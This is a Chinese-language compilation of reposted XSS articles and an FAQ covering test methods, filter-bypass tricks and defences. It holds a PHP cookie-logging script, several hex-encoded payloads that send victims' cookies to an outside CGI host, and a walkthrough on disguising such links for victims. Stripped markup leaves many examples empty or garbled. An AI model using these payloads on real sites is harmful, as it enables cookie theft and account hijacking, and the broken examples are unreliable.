;
[/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里, 通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo g文件。
注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行, 这仅仅是我在自己的站点上做测试用的。
如何防范XSS攻击? 1.在你的WEB浏览器上禁用javascript脚本 2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。 可以把"<",">"转换为<,> 注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符, 这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。
对受害者来说不要访问包含
document.write(' ');
xss.js
document.write(' ');
getcookie.php
$cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $time=date("j F, Y, g:i a"); $referer=getenv ('HTTP_REFERER'); $fp = fopen('victim.txt', 'a'); fwrite($fp, 'Cookie: '.$cookie.' IP: ' .$ip. ' Date and Time: ' .$time. ' Referer: '.$referer.' '); fclose($fp); ?>
----------------------------------
测试 Web 应用程序是否存在跨站点脚本漏洞 发布日期: 2005年05月06日
作者:Chris Weber,Casaba Security,LLC (chris@casabasec.com)
到 目前为止,对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。如果您很精通 XSS 并且只想看看有什么好的测试方法可供借鉴,那么请直接跳到本文的测试部分。如果您对此一无所知,请按顺序认真阅读!如果某个怀有恶意的人(攻击者)可以强 迫某个不知情的用户(受害者)运行攻击者选择的客户端脚本,那么便会发生跨站点脚本攻击。“跨站点脚本”这个词应该属于用词不当的情况,因为它不仅与脚本 有关,而且它甚至不一定是跨站点的。所以,它就是一个在发现这种攻击时起的一个名字,并且一直沿用至今。从现在开始,我们将使用它常见的缩写名称 “XSS”。
XSS 攻击的过程涉及以下三方: •
攻击者 •
受害者 •
存在漏洞的网站(攻击者可以使用它对受害者采取行动)
在 这三方之中,只有受害者会实际运行攻击者的代码。网站仅仅是发起攻击的一个载体,一般不会受到影响。可以用多种方式发起 XSS 攻击。例如,攻击者可通过电子邮件、IM 或其他途径向受害者发送一个经过经心构造的恶意 URL。当受害者在 Web 浏览器中打开该 URL 的时侯,网站会显示一个页面并在受害者的计算机上执行脚本。
XSS 漏洞是什么样的呢? 作为一名 Web 开发人员或测试人员,您肯定知道 Web 应用程序的技术基础是由 HTTP 和 HTML 组成的。HTTP 协议是 HTML 的传输机制,可使用代码设计 Web 页面布局和生成页面。
如果 Web 应用程序接受用户通过 HTTP 请求(如 GET 或 POST)提交的输入信息,然后使用输出 HTML 代码在某些地方显示这些信息,便可能存在 XSS 漏洞。下面是一个最简单的例子:
1. Web 请求如下所示: GET http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title
2. 在发出请求后,服务器返回的 HTML 内容包括:
Section Title
可以看到,传递给“title”查询字符串参数的用户输入可能被保存在一个字符串变量中并且由 Web 应用程序插入到
标记中。通过提供输入内容,攻击者可以控制 HTML。
3. 现在,如果站点没有在服务器端对用户输入加以过滤(因为总是可以绕过客户端控件),那么恶意用户便可以使用许多手段对此漏洞加以滥用:
攻击者可以通过摆脱
标记来注入代码: http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title
这个请求的 HTML 输出将为:
Section Title
即便是这个最简单的例子,攻击者也可以利用此连接完成数不清的事情。让我们看看会有哪些潜在的威胁,然后讨论一些更高级的测试方法。
XSS 攻击的威胁有多么严重? 由于能够在生成的 Web 页面中注入代码,能想到的威胁有多么严重,就可以有多么严重的威胁。攻击者可以使用 XSS 漏洞窃取 Cookie,劫持帐户,执行 ActiveX,执行 Flash 内容,强迫您下载软件,或者是对硬盘和数据采取操作。
只要您点击了某些 URL,这一切便有可能发生。每天之中,在阅读来自留言板或新闻组的受信任的电子邮件的时侯,您会多少次地单击其中的 URL?
网 络钓鱼攻击通常利用 XSS 漏洞来装扮成合法站点。可以看到很多这样的情况,比如您的银行给你发来了一封电子邮件,向您告知对您的帐户进行了一些修改并诱使您点击某些超链接。如果仔 细观察这些 URL,它们实际上可能利用了银行网站中存在的漏洞,它们的形式类似于 http://mybank.com/somepage?redirect= 并不能产生期望中的警告对话框。仔细想想这个问题并在可能的情况下与开发人员进行交流。也许他们对输入中的尖括号、单引号或圆括号进行了过滤。也许他们会 过滤“script”这个词。重新研究为何输入会产生这样的输出,并理解每个值(查询字符串、cookie、POST 数据)的作用。“pageId=10”这样的查询字符串值可能对输出没有影响,因此不值得花费时间测试它。有时,最好试着注入单个字符(例如尖括号、双引 号标记或者圆括号),看看应用程序是否过滤这些字符。然后,便可以知道您面对的过滤级别究竟如何。接着,可以调整测试方法,对这些字符进行编码并重试,或 者寻找其他注入办法。 改变测试用例 我恐怕无法充分对此进行说明:研究输入的值会输出什么样的 HTML 页面非常重要。如果它们不能产生输出,那么不要在它们上面浪费时间。如果可以,请进行研究,因为您需要根据输出对测试进行相应的修改。我使用了各种变化形 式来找出能接受和显示脚本代码的参数。因为这涉及太多内容,因此在这里无法一一进行讨论,但是请务必注意以下几种情况:
1.
>"'>
2.
>%22%27>
3.
>"'>
4.
AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
5.
%22%2Balert(%27XSS%27)%2B%22
6.
7.
8.
有 许多变化形式可以尝试。关键在于了解程序究竟使用何种方式处理输入和显示输出页面。如同这些例子所展示的,常见的变化形式经常是在脚本代码前面加上 “>””,以尝试封闭网站可能在输出中生成的标记。还可以对代码进行 URL 编码,尝试绕过服务器端的输入过滤功能。此外,因为尖括号“<>”通常会在输入时被过滤和从输出中删除,所以还必须尝试不需要尖括号的 XSS,例如 ”&{alert('XSS')};”
持久和动态 找出一个成功的 XSS 颇费周折,因为在开始时 XSS 攻击可能并不是那么显而易见的。随便举一个例子,如果向网站添加一条新留言并在“msgTitle”值中注入代码,在提交数据后,您可能不会立即看到脚本 代码被执行。但是,当您访问留言板的时侯,将会在 HTML 页面中使用“msgTitle”值并将其作为脚本代码执行。这种情况被称作持久性 XSS 攻击,如果包含脚本代码的值将被保存到客户端或者后端系统并在稍候的时间被执行,便会发生此种攻击。
而与此相对的是动态 XSS 攻击,这种攻击会立即执行并只发生一次。比如,如果某个链接或 GET 请求在某个用来控制页面输出的查询字符串中包含了脚本代码,那么在点击链接后会立即显示输出。
总结 XSS 测试通常只是整个 Web 应用程序安全性审查工作的一小部分,但是在执行测试时必须细致和彻底。在多年的工作中,我一直强调使用电子表格或其他方式来记录站点的所有页面,以及每个 页面接受的输入值(查询字符串、cookie、POST 数据、SOAP),这是在测试前必须进行的一个重要步骤。与此同等重要的是,理解输入以及它在输出的 HTML 页面上的呈现方式。如果您知道了应用程序处理输入的方式,就会非常迅速地完成许多工作。不要浪费时间测试那些不会作为输出显示的输入。与开发人员和 PM 进行交流,并在开始测试前建立完善的威胁模型。
from:http://www.microsoft.com/china/technet/community/columns/secmvp/sv0505.mspx -----------------------------------
相关链接: XSS:http://wiki.matrix.org.cn/Wiki.jsp?page=XSS 跨站脚本攻击(XSS)FAQ:http://tech.idv2.com/2006/08/30/xss-faq/ 也谈跨站脚本攻击与防御:http://www.xfocus.net/articles/200607/874.html 浅析XSS(Cross Site Script)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html PHP-Nuke个人消息存在HTML插入漏洞:http://www.xfocus.net/vuls/200208/2970.html
by clin003 at 20070725 from:http://clin003.com/或http://blog.csdn.net/clin003/ ======================================= 浅析XSS(Cross Site Script)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html
最近一些人频频在博客里炫耀说黑了某某门户网站,发现了某某大站的漏洞,竟然还要收取发现漏洞的费用,仔细瞧了一瞧,全是一片噼里啪啦alert消息框的截图,只是简单的触发了XSS,心痒难耐,于是写了这篇拙文道出我对跨站脚本漏洞原理的一些理解。
如果你还不知道什么是XSS,我来帮助解释一下,XSS的全称是Cross Site Scripting,意思是跨站脚本.这第一个单词是Cross,为什么缩写成X呢?因为CSS是层叠样式表的缩写(Cascading Style Sheets)的缩写,同时Cross发音和X相似,为了避免混淆用X来代替,缩写成XSS。其实我觉得叫XSS挺合适的,因为现在流行AJAX嘛,新的 跨站脚本攻击技术很多都是和XMLHTTP控件无间配合,嘿嘿,这个是题外话,我们只讲原理,下面我就分两个部分分析XSS原理:
一、XSS的触发条件
了解XSS的触发条件就先得从HTML(超文本标记语言)开始,我们浏览的网页全部都是基于超文本标记语言创建的,如显示一个超链接:
IT168安全频道
而XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记.在没有过滤字符的情况 下,只需要保持完整无错的脚本标记即可触发XSS,假如我们在某个资料表单提交内容,表单提交内容就是某个标记属性所赋的值,我们可以构造如下值来闭和标 记来构造完整无错的脚本标记,
"><"
结果形成了 <"">茄子宝的博客在这里 这样一个标记,:)这里和SQL注入很象!
测试闭和表单赋值所在的标记,形成完整无错的脚本标记可触发XSS,但是没有脚本标记怎么触发XSS呢?呵呵,我们只好利用其他标记了,假如要在网页里显示一张图片,那么就要使用一个 标记,示例如下:
img标记并不是真正地把图片给加入到Html文档把两者合二为一,而是通过src属性赋值。那么浏览器的任务就是解释这个img标记,访问src属性所 赋的值中的URL地址并输出图片。问题来了!浏览器会不会检测src属性所赋的值呢?答案是否!那么我们就可以在这里大做文章了,接触过 javascript的同志应该知道,javascript有一个URL伪协议,可以使用“javascript:”这种协议说明符加上任意的 javascript代码,当浏览器装载这样的URL时,便会执行其中的代码.于是我们就得出了一个经典的XSS示例:
如图一
当然并不是所有标记的属性都能用,细心的你应该发现标记的属性在访问文件才触发的XSS,这里我就不再深入,因为离开标记的属性还有事件能帮助我们触发 XSS.那什么是事件呢?只有达到某个条件才会引发事件,正巧img标记有一个可以利用的onerror()事件,当img标记内含有一个onerror ()事件而正好图片没有正常输出便会触发这个事件,而事件中可以加入任意的脚本代码,其中的代码也会执行.现在我们又得到了另外一个经典的XSS示例:
如图二 综合这一部分,我们知道XSS的触发条件包括:完整无错的脚本标记,访问文件的标记属性和触发事件。
二、XSS转码引发的过滤问题
有攻就有防,网站程序员肯定不会放任大家利用XSS,所以他们常会过滤类似javascript的关键字符,让大家构造不了自己的XSS,我这里就捡两个 被忽略惯了的字符来说,它们是"&"和"/".首先来说说"&"字符,玩过SQL注入的都知道,注入的语句可以转成16进制再赋给一个变 量运行,XSS的转码和这个还真有异曲同工之妙,原因是我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用ASCII方式 来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面我就拿< img src="javascript:alert('XSS');">示例:
//10进制转码 如图三
//16进制转码。
这个分隔符还可以继续加0变成“j” ,“j” ,“j” ,“j”等形式。
而这个"/"字符却暴露了一个严重的XSS 0DAY漏洞,这个漏洞和CSS(Cascading Style Sheets)层叠样式表有很大的关联,下面我就来看看这个漏洞,先举个javascript的eval 函数的例子,官方是这样定义这个函数:
eval(codeString),必选项 codestring 参数是包含有效 JScript 代码的字符串值。这个字符串将由 JScript 分析器进行分析和执行。
我们的JavaScript中的"/"字符是转义字符,所以可以使用"/"连接16进制字符串运行代码
恐怖的是样式表也支持分析和解释"/"连接的16进制字符串形式,浏览器能正常解释。下面我们来做个实验: 写一个指定某图片为网页背景的CSS标记:
保存为HTM,浏览器打开显示正常。
转换background属性值为"/"连接的16进制字符串形式,浏览器打开同样显示正常。
在文章第一部分我已经说过XSS的触发条件包括访问文件的标记属性,因此我们不难构造出
这样的XSS语句。有了实验的结果,我们又能对CSS样式表的标记进行XSS转码,浏览器将帮我们解释标记内容,XSS语句示例:
看图四
编者语:XSS攻击以及的可怕性及灵活性深受黑客的喜爱。争对XSS攻击,编者给普通浏览网页用户及WEB应用开发者给出以下的安全建议:
web用户
1.在电子邮件或者即时通讯软件中点击链接时需要格外小心:留心可疑的过长链接,尤其是它们看上去包含了HTML代码。如果对其产生怀疑,可以在浏览器地址栏中手工输入域名,而后通过该页面中的链接浏览你所要的信息。
2.对于XSS漏洞,没有哪种web浏览器具有明显的安全优势。也就是Firefox也同样不安全。为了获得更多的安全性,可以安装一些浏览器插件:比如Firefox的NoScript或者Netcraft工具条。
3.世界上没有“100%的有效”。尽量避免访问有问题的站点:比如提供hack信息和工具、破解软件、成人照片的网站。这些类型的网站会利用浏览器漏洞并危害操作系统。
web应用开发者
1.对于开发者,首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括URL、查询关键字、http头、post数据等。只接受在你所规定长度范围内、采用适当格式、你所希望的字符。阻塞、过滤或者忽略其它的任何东西。
2.保护所有敏感的功能,以防被bots自动化或者被第三方网站所执行。实现session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查。
3.如果你的web应用必须支持用户提供的HTML,那么应用的安全性将受到灾难性的下滑。但是你还是可以做一些事来保护web站点:确认你接收的 HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和 JavaScript)。为了更多的安全,请使用httpOnly的cookie。
========================================= 也谈跨站脚本攻击与防御:upload/2011/3/201103300322498387.jpg" width=100 οnerrοr=alert("载入图片错误!")>
很 多的程序最终都是将用户的输入转换成这种形式的。可以看到<>是告诉浏览器这是一个Html标记,img是这个Html标记的名称,src 是这个标记的第一个属性,=后面是这个属性的值,后面的width是第二个属性,onerror是标记的事件属性。大家可以看到,一个Html标记是包括 很多元素的,并不是传统意义上的只有输入<>才会注入Html,事实上只要你的输入处在Html标签内,产生了新的元素或者属性,就实现了跨 站脚本攻击!实际上大多数隐秘的跨站脚本攻击是不需要<>的,因为现在的Ubb标签已经让你处在了Html标记之内,很有意思,不是么?
2 哪里才是罪恶的来源?
既然我们的目标是引入代码在目标用户的浏览器内执行,那么我们来看看哪些地方可以引入HTml代码吧!如果用户可以不受限制的引入< >,那么很显然他可以完全操纵一个Html标记,譬如这样的 形式,这对于追求安全的程序来说是绝对不允许的,所以首先要做转换的就是<>,通过如下代码:
过滤代码: replace(str,"<","<") replace(str,">",">") 好了,用户可能不能构造自己的HTml标记了,那么利用已经存在的属性如何呢?下面的代码依然可以工作得很好:
因为很多的Html标记里属性都支持javascript:[code]的形式,很好,很多的程序意识到了这一点,可能做了如下的转换:
过滤代码 Dim re Set re=new RegExp re.IgnoreCase =True re.Global=True re.Pattern="javascript:" Str = re.replace(Str,"javascript:") re.Pattern="jscript:" Str = re.replace(Str,"jscript:") re.Pattern="vbscript:" Str = re.replace(Str,"vbscript:") set re=nothing 你看,只要发现以javascript等脚本属性的形式都会被过滤掉,失去了:的脚本代码是起不了作用的!这样完美了么?事实上Html属性的值,注意是值而不是属性本身是支持ASCii这种形式表示的,譬如上面的代码可以换成这样:
代码又执行了,呵呵!看来你漏掉了点什么哦,加上这个代码吧!
replace(str,"&","&")
行了,&失去它原来的意义了,用户不能以其他方式表示Html属性值了哦!等等,这样的过滤真可以相信么?只要发现这种过滤的关键字机制,饶过就是简单的问题了:
没 有javascript关键字了哦!注意中间那个是tab键弄出来的!关键字被拆分了哦!这是个很麻烦的问题,很多人忘记了这些特殊的字符,呵呵!有人想 到要过滤空格了,在过滤之前我们再看看其他的一些东西吧!也许我们现在所处的src属性已经无法利用了,但是我们依然可以产生自己的属性或者事件机制哦! 依然是可以执行Html代码的,首先说说事件机制吧:
这样依然可以执行代码的哦!明白问题出在哪了,不是么?有的程序员仿佛明白了,注意我说的是仿佛,动网就是一个典型的例子,事件属性不是要onerror么?很多人开始用正则表达式了,发现关键的词如onerror就会做转换或者提示用户不执行,是不是没有机会了呢? 当然不是的,事件只是让代码运行的一种方法而不是所有的,可以定义事件了那么也就可以实现自己弄出自己的属性了,试试下面的:
呵呵,还是执行了哦!在做关键字过滤之后有人发现是不是属性之间分隔要用到空格,好,他们把空格堵死了(这样认为的人很多,呵呵)!将空格转成 是个很普遍的方法?是么?甚至还可以让别人无法关键字拆分,不要太自信了,试试下面的代码看看如何:
嘿嘿,Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的!那怎么办呢?上面提到的好象一直都是在进行被动的攻击防御,为什么不抓住他的本源出来呢?哪里出了问题哪里堵上! 上面的问题好象本质上就是一个东西,那就是用户超越了他所处的标签,也就是数据和代码的混淆,对付这种混淆的办法就是限制监牢,让用户在一个安全的空间内 活动,这通过上面的分析大家也可能已经知道,只要在过滤了<>这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到"" 之间,现在的一般的程序都是这样做的,譬如 将会转化成 这是个好的安全习惯,然后呢?就要让用户的输入处在安全的领域里了,这可以通过过滤用户输入里""实现,但是不要忘记了,这个标签本身也是不安全的,过滤 掉空格和tab键就不用担心关键字被拆分饶过了,然后就是用文章中提到的办法过滤掉script关键字,最后就是防止用户通过这样的形式饶过 检查,转换掉&吧! 在文章中开始提到的图里可以看到,数据的转换和过滤是可以在3个地方进行转换的,在接受数据的时候可以转换下,在进入数据库的时候可以转换下,在输出数据 的时候也可以转换下,但是困惑在哪里呢?不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲,安全是要有代价的,譬如现在邮箱的 就不愿意舍弃html标签,所以他们侧重于XSS的IDS检测的性质,只要发现不安全的东西就会转化,但是攻击是无法预知的,漂亮的东西总是脆弱的,有限 制,肯定就有人会饶过,呵呵。本文没什么技术含量,只是希望搞安全的脚本人员能更加的了解Xss,跨站,不是那么简单滴!
===================================== 原作者charlee、原始链接http://tech.idv2.com/2006/08/30/xss-faq/ 该文章简单地介绍了XSS的基础知识及其危害和预防方法。Web开发人员的必读。译自 http://www.cgisecurity.com/articles/xss-faq.shtml 。
简介 什么是跨站脚本攻击? XSS和CSS是什么意思? 跨站脚本攻击有什么危害? 能否给出几个跨站脚本攻击的例子? 能否解释一下XSS cookie盗窃是什么意思? 第一步: 锁定目标 第二步: 测试 第三步: 执行XSS 第四步: 处理收集到的信息 作为网站管理者应当如何防范? 作为用户应当如何防范? XSS漏洞有多常见? 加密能否防止XSS攻击? XSS漏洞能否在服务器上执行命令? 如果我不修改CSS/XSS漏洞会怎样? 介绍一些更深入讲解XSS的地方。
--------------------------------------------------------------------------------
简介 现 在的网站包含大量的动态内容以提高用户体验,比过去要复杂得多。 所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。 动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其所写成 XSS)的威胁,而静态站点则完全不受其影响。 这篇FAQ将使你能更深入地理解这种威胁,并给出如何检测并防止的建议。
什么是跨站脚本攻击? 跨 站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。 用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。 攻击者通过在链接中插入恶意代码,就能够盗取用户信息。 攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。 网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面, 而这个页面看起来就像是那个网站应当生成的合法页面一样。 许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。 假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时, 恶意脚本就会执行,盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。
XSS和CSS是什么意思? 人们经常将 跨站脚本攻击(Cross Site Scripting)缩写为CSS, 但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。 因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 “我发现了一个XSS漏洞”,显然他是在说跨站脚本攻击。
跨站脚本攻击有什么危害? 为 了搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户(详见下文)。一旦得手,他们可以盗取用户帐户, 修改用户设置,盗取/污染cookie,做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了“拒绝服务攻击”以及用户仅仅阅读一篇文章 就会受到的“自动攻击”。
http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html 能否给出几个跨站脚本攻击的例子? 著名的PHPnuke程序有很多XSS漏洞。由于该程序十分流行, 因此经常被黑客们作为XSS的攻击对象进行检查。 下面给出了几个已公开报告的攻击方法。
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt 能否解释一下XSS cookie盗窃是什么意思? 根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。 要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。
第一步: 锁定目标 当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。 如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。
第二步: 测试 不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。 某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者 有必要调整攻击代码使输出看起来正常。)
下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。 下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息, 说明可能可以劫持该用户的账户。
盗取Cookie的Javascript示例。使用方法如下。
ASCII用法
http://host/a.php?variable="> 十六进制用法
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67 %69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f %6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。
1. "> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e %6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65 %63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f %63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 2. HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72 %69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b %69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e 3. > HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c %6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75 %72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f %6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e第三步: 执行XSS 将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人 (通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为 这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。
第四步: 处理收集到的信息 一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。
在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。 如果你有时间,你可以在CGI中将用户重定向到原来的页面上, 即可在用户不知不觉之中盗取信息。
某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。 即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了 许多过滤以避免cookie被盗。
作为网站管理者应当如何防范? 这 个问题很简单。坚决不要相信任何用户输入并过滤所有特殊字符。这样既可消灭绝大部分的XSS攻击。 另一个建议是输出页面时将 < 和 > 变换成 < 和 >。 要记住,XSS漏洞极具破坏性,一旦被利用,它会给你的事业带来极大的损害。 攻击者会将这些漏洞公之于众,这会在用户隐私的问题上大大降低你的网站的用户信赖度。 当然,仅仅将 ( 和 ) 变换成 < 和 > 是不够的,最好将 ( 和 ) 变换成 ( 和 ),# 和 & 变换成 # 和 &。
作为用户应当如何防范? 保 护自己的最好方法就是仅点击你想访问的那个网站上的链接。例如,如果你访问了一个网站, 该网站有一个链接指向了 CNN,那么不要单击该链接,而是访问 CNN 的主站点并使用搜索引擎查找相关内容。 这样可以杜绝90%以上的XSS攻击。有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时 自动进行。当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意。 最好的解决办法就是关闭浏览器的 Javascript 功能。在IE中可以将安全级别设置为最高, 可以防止cookie被盗。
XSS漏洞有多常见? 由于XSS漏洞很容易在大型网站中发现,在黑客圈内它非常流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。
在商业产品中,平均每个月能够发现10-25个XSS漏洞。
加密能否防止XSS攻击? 使用SSL(https)加密的网站并不比不加密的网站好到哪儿去。Web程序仍然以同样的方式工作, 只是攻击是通过加密的连接实现。有些人看到浏览器上的锁图标就认为他们是安全的,其实不然。
XSS漏洞能否在服务器上执行命令? XSS漏洞会导致Javascript的恶意插入,但它的执行受到很多限制。如果攻击者利用浏览器的漏洞, 有可能在用户的计算机上执行命令。因此,就算能够执行命令也只能在客户端。简单地说,XSS漏洞 可以触发客户端的其他漏洞。
如果我不修改CSS/XSS漏洞会怎样? 如 果不修改XSS漏洞,你的网站上的用户会受到被篡改的威胁。许多大型网站都发现了XSS漏洞, 这个问题已经得到普遍认识。如果不修改,发现它的人也许会警告你的公司,损害公司的信誉。 你拒绝修改漏洞的消息也会传到客户那里,造成公司的信任危机。客户不信任的话还怎么做生意?
介绍一些更深入讲解XSS的地方。 "Cross-site scripting tears holes in Net security" http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm
Article on XSS holes http://www.perl.com/pub/a/2002/02/20/css.html
"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" http://www.cert.org/advisories/CA-2000-02.html
Paper on Removing Meta-characters from User Supplied Data in CGI Scripts. http://www.cert.org/tech_tips/cgi_metacharacters.html
Paper on Microsoft's Passport System http://eyeonsecurity.net/papers/passporthijack.html
Paper on Cookie Theft http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies
The webappsec mailing list (Visit www.securityfocus for details) webappsec@securityfocus.com
Many Thanks to David Endler for reviewing this document.
Published to the Public May 2002 Copyright May 2002 Cgisecurity.com
by clin003 at 20070725 from:http://clin003.com/或http://blog.csdn.net/clin003/ ++++++++++++++++++++++++++++++++++++ 相关链接: XSS:http://wiki.matrix.org.cn/Wiki.jsp?page=XSS 跨站脚本攻击(XSS)FAQ:http://tech.idv2.com/2006/08/30/xss-faq/ 也谈跨站脚本攻击与防御:http://www.xfocus.net/articles/200607/874.html 浅析XSS(Cross Site Script)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html PHP-Nuke个人消息存在HTML插入漏洞:http://www.xfocus.net/vuls/200208/2970.html